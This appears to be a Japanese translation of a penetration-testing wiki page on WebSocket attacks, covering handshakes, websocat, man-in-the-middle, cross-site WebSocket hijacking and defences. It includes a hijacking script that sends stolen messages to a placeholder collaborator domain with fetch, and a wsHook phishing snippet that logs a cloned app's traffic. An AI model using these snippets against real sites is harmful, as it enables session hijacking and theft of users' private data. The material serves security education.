WebSocket Attacks

Reading time: 17 minutes

WebSocketとは

WebSocket接続は、最初のHTTPハンドシェイクを通じて確立され、長期間の接続を目的としており、トランザクションシステムを必要とせずにいつでも双方向のメッセージングを可能にします。これにより、WebSocketは低遅延またはサーバー起動の通信を必要とするアプリケーションに特に有利です。

WebSocket接続の確立

WebSocket接続の確立に関する詳細な説明はこちらでアクセスできます。要約すると、WebSocket接続は通常、以下に示すようにクライアント側のJavaScriptを介して開始されます:

var ws = new WebSocket("wss://normal-website.com/ws")

wssプロトコルはTLSで保護されたWebSocket接続を示し、wsは保護されていない接続を示します。

接続の確立中に、ブラウザとサーバーの間でHTTPを介してハンドシェイクが行われます。ハンドシェイクプロセスでは、ブラウザがリクエストを送信し、サーバーが応答します。以下の例に示されています：

ブラウザがハンドシェイクリクエストを送信：

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

サーバーのハンドシェイク応答:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

接続は確立されると、双方向でメッセージ交換のためにオープンのままになります。

WebSocketハンドシェイクの重要なポイント:

• ConnectionおよびUpgradeヘッダーはWebSocketハンドシェイクの開始を示します。
• Sec-WebSocket-Versionヘッダーは、通常13の希望するWebSocketプロトコルバージョンを示します。
• Base64エンコードされたランダム値がSec-WebSocket-Keyヘッダーに送信され、各ハンドシェイクがユニークであることを保証し、キャッシングプロキシによる問題を防ぎます。この値は認証のためではなく、応答が誤って構成されたサーバーやキャッシュによって生成されていないことを確認するためのものです。
• サーバーの応答におけるSec-WebSocket-AcceptヘッダーはSec-WebSocket-Keyのハッシュであり、WebSocket接続を開くというサーバーの意図を検証します。

これらの機能は、ハンドシェイクプロセスが安全で信頼性があることを保証し、効率的なリアルタイム通信への道を開きます。

Linuxコンソール

websocatを使用してWebSocketとの生の接続を確立できます。

websocat --insecure wss://10.10.10.10:8000 -v

ウェブソケットサーバーを作成するには:

websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket connections

もしクライアントが現在のローカルネットワークからHTTP websocketに接続していることがわかった場合、ARP Spoofing Attackを試みて、クライアントとサーバーの間でMitM攻撃を実行することができます。
クライアントが接続しようとしているときに、次のように使用できます:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Websockets enumeration

ツール https://github.com/PalindromeLabs/STEWS を使用して、WebSocketの既知の 脆弱性 を自動的に発見、フィンガープリンティング、検索できます。

Websocket Debug tools

• Burp Suite は、通常のHTTP通信と非常に似た方法でMitM WebSocket通信をサポートしています。
• socketsleuth Burp Suite拡張機能 は、履歴を取得し、インターセプションルールを設定し、マッチと置換ルールを使用し、IntruderやAutoRepeaterを使用することで、BurpでのWebSocket通信をより良く管理できるようにします。
• WSSiP: "WebSocket/Socket.io Proxy"の略で、このNode.jsで書かれたツールは、クライアントとサーバー間のすべてのWebSocketおよびSocket.IO通信をキャプチャ、インターセプト、カスタムメッセージを送信し、表示するためのユーザーインターフェースを提供します。
• wsrepl は、ペネトレーションテスト専用に設計されたインタラクティブWebSocket REPLです。受信WebSocketメッセージを観察し、新しいメッセージを送信するためのインターフェースを提供し、この通信を自動化するための使いやすいフレームワークを備えています。
• https://websocketking.com/ は、WebSocketを使用して他のWebと通信するためのWebです。
• https://hoppscotch.io/realtime/websocket は、他の通信/プロトコルの種類の中で、WebSocketを使用して他のWebと通信するためのWebを提供します。

Decrypting Websocket

• https://github.com/Anof-cyber/PyCript
• https://github.com/Anof-cyber/PyCript-WebSocket/

Websocket Lab

Burp-Suite-Extender-Montoya-Course には、WebSocketを使用してWebを起動するためのコードがあり、この投稿 で説明を見つけることができます。

Websocket Fuzzing

Burp拡張機能 Backslash Powered Scanner は、WebSocketメッセージのファジングも可能にしました。このことについての詳細はこちらで読むことができます。

Cross-site WebSocket hijacking (CSWSH)

クロスサイトWebSocketハイジャック、またはクロスオリジンWebSocketハイジャックは、WebSocketハンドシェイクに影響を与える特定のケースの**クロスサイトリクエストフォージェリ（CSRF）として特定されます。この脆弱性は、WebSocketハンドシェイクがCSRFトークンや類似のセキュリティ対策なしにHTTPクッキー**のみで認証されるときに発生します。

攻撃者は、脆弱なアプリケーションに対してクロスサイトWebSocket接続を開始する悪意のあるWebページをホストすることでこれを悪用できます。その結果、この接続はアプリケーションとの被害者のセッションの一部として扱われ、セッション処理メカニズムにおけるCSRF保護の欠如を利用します。

この攻撃が機能するための要件は次のとおりです：

• WebSocketの認証はクッキーに基づいている必要があります
• クッキーは攻撃者のサーバーからアクセス可能でなければならず（通常は**SameSite=Noneを意味し）、FirefoxでFirefox Total Cookie Protectionが有効でなく、Chromeでサードパーティのクッキーがブロックされていない**必要があります。
• WebSocketサーバーは接続のオリジンをチェックしてはいけません（またはこれをバイパス可能でなければなりません）

また：

• 認証がローカル接続（localhostまたはローカルネットワークへの接続）に基づいている場合、現在の保護がそれを禁止していないため、攻撃は可能です（こちらで詳細を確認）

Simple Attack

WebSocket接続を確立する際に、クッキーがサーバーに送信されることに注意してください。サーバーは、送信されたクッキーに基づいて各特定のユーザーをそのWebSocketセッションに関連付けるためにそれを使用している可能性があります。

次に、例えばWebSocketサーバーがユーザーの会話の履歴を返す場合、"READY"というメッセージが送信されると、接続を確立する単純なXSS（クッキーは被害者ユーザーを認証するために自動的に送信されます）が**"READY"を送信することで、会話の履歴を取得**できるようになります。

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

クロスオリジン + 異なるサブドメインのクッキー

このブログ投稿 https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ では、攻撃者が サブドメイン のドメインで 任意のJavascriptを実行 することに成功しました。これは サブドメイン であったため、クッキー が 送信され、WebsocketがOriginを正しくチェックしなかった ため、通信が可能になり、トークンを盗む ことができました。

ユーザーからデータを盗む

なりすましたいウェブアプリケーションをコピーし（例えば .html ファイル）、Websocket通信が行われているスクリプト内にこのコードを追加します:

//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}

wsHook.jsファイルをhttps://github.com/skepticfx/wshookからダウンロードし、ウェブファイルのフォルダ内に保存してください。
ウェブアプリケーションを公開し、ユーザーがそれに接続することで、websocketを介して送信および受信されたメッセージを盗むことができます。

sudo python3 -m http.server 80

CSWSH Protections

CSWSH攻撃は、ユーザーが悪意のあるページに接続し、そのページがユーザーがすでに接続しているウェブページにウェブソケット接続を開くという事実に基づいており、リクエストがユーザーのクッキーを送信するため、ユーザーとして認証されます。

現在、この問題を防ぐのは非常に簡単です：

• ウェブソケットサーバーがオリジンをチェックする: ウェブソケットサーバーは、予期しないページが接続するのを防ぐために、常にユーザーがどこから接続しているかを確認する必要があります。
• 認証トークン: 認証をクッキーに基づかせるのではなく、ウェブソケット接続は攻撃者には知られていないユーザーのためにサーバーによって生成されたトークンに基づくことができます（例えば、anti-CSRFトークンのように）。
• SameSite Cookie属性: SameSiteの値がLaxまたはStrictのクッキーは、外部の攻撃者のページから被害者のサーバーに送信されないため、クッキーに基づく認証は成功しません。Chromeは現在、このフラグが指定されていないクッキーに**Laxの値を設定しており、デフォルトでこれをより安全にしています。ただし、クッキーが作成されてから最初の2分間はNone**の値を持ち、その限られた期間中は脆弱です（この対策はいつか削除されることが期待されています）。
• Firefoxのトータルクッキープロテクション: トータルクッキープロテクションは、クッキーを作成されたサイトに隔離することによって機能します。基本的に、各サイトには独自のクッキーストレージパーティションがあり、第三者がユーザーのブラウジング履歴を結びつけるのを防ぎます。これにより、CSWSHは使用不可能になります。攻撃者のサイトはクッキーにアクセスできません。
• Chromeのサードパーティクッキーのブロック: これにより、SameSite=Noneであっても、認証されたユーザーのクッキーがウェブソケットサーバーに送信されるのを防ぐことができます。

Race Conditions

WebSocketsにおけるレースコンディションも存在します、この情報を確認して詳細を学んでください。

Other vulnerabilities

Web Socketsはサーバー側とクライアント側にデータを送信するメカニズムであり、サーバーとクライアントが情報をどのように処理するかによって、Web SocketsはXSS、SQLi、またはウェブの一般的な脆弱性をウェブソケットからのユーザーの入力を使用して悪用するために使用される可能性があります。

WebSocket Smuggling

この脆弱性により、リバースプロキシの制限を回避することができ、ウェブソケット通信が確立されたと信じ込ませることができます（たとえそれが真実でなくても）。これにより、攻撃者は隠されたエンドポイントにアクセスすることができる可能性があります。詳細については、次のページを確認してください：

Upgrade Header Smuggling

References

• https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages
• https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/